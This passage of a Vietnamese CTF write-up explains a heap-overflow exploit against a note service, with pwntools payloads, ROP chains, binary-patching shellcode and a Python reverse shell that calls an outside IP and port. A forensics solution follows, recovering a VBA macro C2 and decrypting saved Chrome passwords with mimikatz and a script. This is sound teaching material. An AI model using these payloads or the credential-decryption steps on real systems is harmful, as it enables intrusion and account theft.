if (!tmp1->note_is_encrypt)
{
tmp_size += tmp1->note_content_len;
}
if (reply_size + tmp_size > SHM_MEM_MAX_SIZE)
{
DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size);
truncated = 1;
tmp_note2 = tmp1;
break;
}
reply_size += tmp_size;
}
Khi màreply_size + tmp_size > SHM_MEM_MAX_SIZE(0x10000)
thì chương trình sẽ dừng và không tăngreply_msg
nhưng khi tạomsg
gửi chointerface
thì duyệt không xót note nào. Vậy chẳng hạn ta có2
note vớicontent_len
là0x400
và0xfff0
nó sẽ xét tới note2
cộng thêm0xfff0
vào thì sẽ không tăngreply_size
nữa nênreply_size
ở đây vẫn sẽ tầm0x4..
(cộng thêmsizeof(struct NoteCommon)
) nên ở đây ta lại cóheap overflow
DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count);
memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon));
written_count += sizeof(struct NoteSerialize);
DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author);
if (!tmp1->note_is_encrypt)
{
written_count += tmp1->note_content_len;
memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len);
}
}
Ởinterface
ban đầu ta không thể tạocontent
chunk quá lớn
printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
content_len = MAX_CONTENT_LEN;
}
MAX_CONTENT_LEN
ở đây là0x1000
nên ta có cách giải quyết là dựa trên việc ropchain ở phần trước mìnhmprotectinterface
để sửa lại cách hoạt động của hàm cho cái check size đó trở lên rất lớn
Vậy thì giờ việc còn lại là xây dựng heap trênbackend
sao cho bugheap overflow
vừa hay chỉ overwrite1
byte của fieldcontent
của1
note và hạn chế phá heap
Payload của mình nối tiếp ởflag1
delete_note(b'a', b'a')
delete_note(b'b', b'b')
payload = p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x390) + p64(0)*8
new_note(b'a', b'a', 0xf910, b'a')
note_sync('c')
new_note(b'nao', b'nao', 0x600, b'nao')
note_sync('c')
new_note(b'b', b'b', 0xfff0, b'b')
note_sync('c')
payload = p32(0) + p64(0x100) + p64(0)*5 + b'\x00'
new_note(b'c'*0x8 + p64(0xb1), b'c'*0x18, 53, payload)
note_sync('c')
delete_note(b'b', b'b')
Ban đầu:
Sau đó:
Như vậy là ta có thể đưa heap kia vàocontent
của1
note trêninterface
nhưng vìNULL
byte nên mình ko thể dùngoptionList Note
để đọc
Dựa vào ropchain ban đầu mình sửa luôn hàmRead_note
thành arbitrary read luôn
new_read_note = 'sub rsp, 0x80\n'
new_read_note += shellcraft.read(0, interface.symbols['notes'] + 8, 8)
new_read_note += '\n mov rsi, [rsi]\n'
new_read_note += shellcraft.write(1, 'rsi', 0x100)
new_read_note += '\nadd rsp, 0x80'
new_read_note += ' \nret'
Patch lạiinterface
rop_elf.raw(interface.symbols['note_main'] + 122)
rop_libc.mprotect(interface.address + 0x2000, 0x3000, 7)
rop_libc.rsi = interface.symbols['edit_note'] + 525
rop_libc.rdi = 0x0fc5390001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 621
rop_libc.rdi = 0xc439410001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 254
rop_libc.rdi = 0x0fd0390001ffffba
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.read(0, interface.symbols['read_note'], 0x200)
rop_libc.raw(RET)
payload += rop_libc.chain() + rop_elf.chain()
Đoạn tiếp sau đây của mình chỉ hoạt động trên local còn khi chạy trên server thì sau khi leak được heap củabackend
thì hình nhưbackend
crash nên không thể kết nối được nữa
Tiếp theo dựa vàoheap overflow
thì mình overwrite được tcache cho trỏ về1
note hiện tại để mình có thể sửacontent
tùy ý mà leak. Đoạn này rất mệt vì nó phá heap với struct nhiều làm mãi mới xây dựng được1
cái payload chạy được (mình đọc lại cũng chẳng hiểu gì)
Như ta thấynext_note
vàcontent
đều trỏ cùng1
chunk nên mình thay đổicontent
để leaklibc
vàstack
Sau thì mình fake tcache lần nữa nma giờ không thể làm đượcheap overflow
với cái kiểureply_msg + tmp_size > 0x10000
heap giờ nát quá rồi không chạy được cái đó nữa thì ở đây do có thể control được hoàn toàn1
note mình thay đổi control vì mình có thểarbitrary free1
chunk bất kì. Mình chỉ cần tìm trước1
cái tcache chunk nào đó có1
số data mà mình kiểm soát từ trước đó rồi craft fake chunk
Lúc đầu cáiaa...
kia là1
cái string khác mà mình biết ngay là tên của1
note mình tạo nên mình biết là mình control được rồi mình set0x151
ở kia thôi
new_note(b'a'*8 + p32(0x151), b'fake', 0xc0, fake_chunk)
free
rồimalloc
chunk vừa rồi để overwrite tcache thànhsaved rip - 0x10
củamemcpy
rồi tạo reverse shell do mình không thể interact trực tiếp vớibackend
PYTHON3 = env_back - 0x298 - 8 - 0x10 + 0xa0
C = PYTHON3 + 1 + len('/bin/python3')
REVERSE_ADDR = C + 1 + len('-c')
REVERSE = b'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.161.193.99",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
back_rop = ROP(libc_back)
flag = b'/home/nao/flag\x00r\x00'.ljust(0x18, b'\x00')
back_rop.raw(0)
back_rop.raw(0)
back_rop.raw(0)
back_rop.execve(PYTHON3, PYTHON3 - 0x40, 0)
payload = back_rop.chain()
payload = payload.ljust(0xa0 - 0x40, b'\x00')
payload += p64(PYTHON3)
payload += p64(C)
payload += p64(REVERSE_ADDR)
payload += p64(0)*5
payload += b'/bin/python3\x00' + b'-c\x00' + REVERSE + b'\x00'
Tiếc là trên server chạy ko ăn:((
Chạy được trên server sau 10 phút đợi script:
MISCELLANEOUS
Misc / Forensics - TET & 4N6
credit: Nex0
Chall:mega.nz/file/U20TCS7Z#dXWlXyL4MKVx5J5RahJRp..*
Vì author ra đề troll, chưa check nên tồn tại nhiều unintended solution, ở đây mình sẽ làm theo hướng mà mình nghĩ là intended 🐧*
1. Find the malicious code and tell me the IP and Port C2
Đầu tiên, ta load fileBackup.ad
1
vàoFTK Imager
.
Vì description có nói tới việc đọc rules xong thì máy bị infected. Đầu tiên mình check trongRecent
folder:
Ta thấy file lnk tới 1 file Rules, lướt binary xuống xem ta sẽ có file path nó trỏ đến:
Mình sẽ dump file docx này ra từ memdump mà đề bài đã cho bằngVolatility3
:
Và vì là Docx, mình tiếp tục checkRecent
folder của Office:
Như ta thấy, recent opened file có file Rule, ngoài ra nó load cả Template của file docx lên. Tuy nhiên khi mình check trên file docx thì không có dấu hiệu nào là malicious template cả 💀. Vì thế mình tiếp tục check trongTemplate
:
Template có enable macro (dotm), khá khả nghi. Mình extract fileNormal.dotm
và kiểm tra macro của nó bằngolevba
:
Sau khi đọc qua code, ta tạm hiểu được là nó khởi tạo socket, connect tới c2 server, gọi reverseshell bằng createproc cmd.
Và tại code, ta có luôn IP và Port của C2 Server:
2. What was the first flag you found?
Tại đây, dưới cùng của code, ta thấy có 1 comment được encode base64:
Sau khi decode 5 lần ra thì ta có part1 của flag:
3. After registering an account, I no longer remember anything about my account. Can you help me find and get the second flag?
:v Tác giả chưa check đề nên History vẫn chứa info về flag này, nhưng mình sẽ làm theo 2 cách khác:
Cách 1: Dựa vào bài viếtnày. Đầu tiên mình extract file
Login Data
ra và view bằng tool xem sql online. Ta thấy được 1 account pastebin được lưu pass có user name làtecij23311
Sau đó mình dump proc của chrome ra, sau đó dùng combo tối thượng
stringgrep
tương tự cách họ demo trong đó:Ta có được password là
tecij23311Pass
. Login pastebin bằng tài khoản đó và ta có được part2.Cách 2: Painful, nhưng nghe chắc chắn hơn. Mình sử dụng công cụ
MemprocFS
. Ở đây mình load thêm pluginpym_regscrets
vào tool:Sau đó load mem vào:
Check kết quả parse được từ plugin chúng ta thêm vào, mình lấy được windows default password:
Sau khi có lsa pass, mình sử dụng
mimikatz
để lấy masterkey:Tiếp theo, tại file
Local State
, ta lấy trườngencrypted_key
ra decode base64 và xóa phầnDPAPI
ở đầu file đi:Đây là key dùng để encrypt password ở file
Login Data
, nó đã được mã hóa bởi masterkey. Ở trên ta đã có được masterkey, mình dùngmimikatz
cùng masterkey này để decrypt ra aes key cần tìm:Ta có được aeskey là:
aa b6 83 b4 8a f4 52 76 f7 44 48 5a 2c 95 ba 15 2f c3 ae 2a ff 00 5b 1d d7 ba 19 b1 e2 f0 77 29
Cuối cùng mình sử dụng script sau để decrypt password trong
Login Data
:# Decrypt Chromium Passwords import argparse import base64 import os import re import shutil import sqlite3 import sys from Cryptodome.Cipher import AES def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(ciphertext, secret_key): try: initialisation_vector = ciphertext[3:15] encrypted_password = ciphertext[15:-16] cipher = generate_cipher(secret_key, initialisation_vector) decrypted_pass = decrypt_payload(cipher, encrypted_password) decrypted_pass = decrypted_pass.decode() return decrypted_pass except Exception as e: print("%s"%str(e)) print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.") return "" def get_db_connection(chromium_path_login_db): try: shutil.copy2(chromium_path_login_db, "Loginvault.db") return sqlite3.connect("Loginvault.db") except Exception as e: print("%s"%str(e)) print("[ERR] Chrome database cannot be found") return None # Main Function def main(): chromium_path = os.path.normpath('Login Data') secret_key = bytes.fromhex('aab683b48af45276f744485a2c95ba152fc3ae2aff005b1dd7ba19b1e2f07729') try: chromium_path_login_db = chromium_path conn = get_db_connection(chromium_path_login_db) if(secret_key and conn): cursor = conn.cursor() cursor.execute("SELECT origin_url, username_value, password_value FROM logins") for index,login in enumerate(cursor.fetchall()): url = login[0] username = login[1] ciphertext = login[2] decrypted_password = decrypt_password(ciphertext, secret_key) if (decrypted_password != ""): print("Sequence: %d"%(index)) print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password)) print("*"*50) # Close database connection cursor.close() conn.close() # Delete temp login db os.remove("Loginvault.db") except Exception as e: print("[ERR] %s"%str(e)) if __name__ == '__main__': main()
Và ta có được password:
Tiếp tới là login như cách 1 và lấy part 2 thôi.
Flag:
TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_R1ght?}
Lời kết
Cảm ơn mọi người đã đọc đến đây, cũng xin cảm ơn những nỗ lực không biết mệt mỏi của các anh chị em trong CLB, năm 2024 bọn mình sẽ cố gắng đóng góp nhiều hơn nữa cho cộng đồng ATTT của Việt Nam nói chung và của sinh viên nói riêng.
Bonus thêm những quả ảnh nhộn nhịp khi làm bài hehe 😆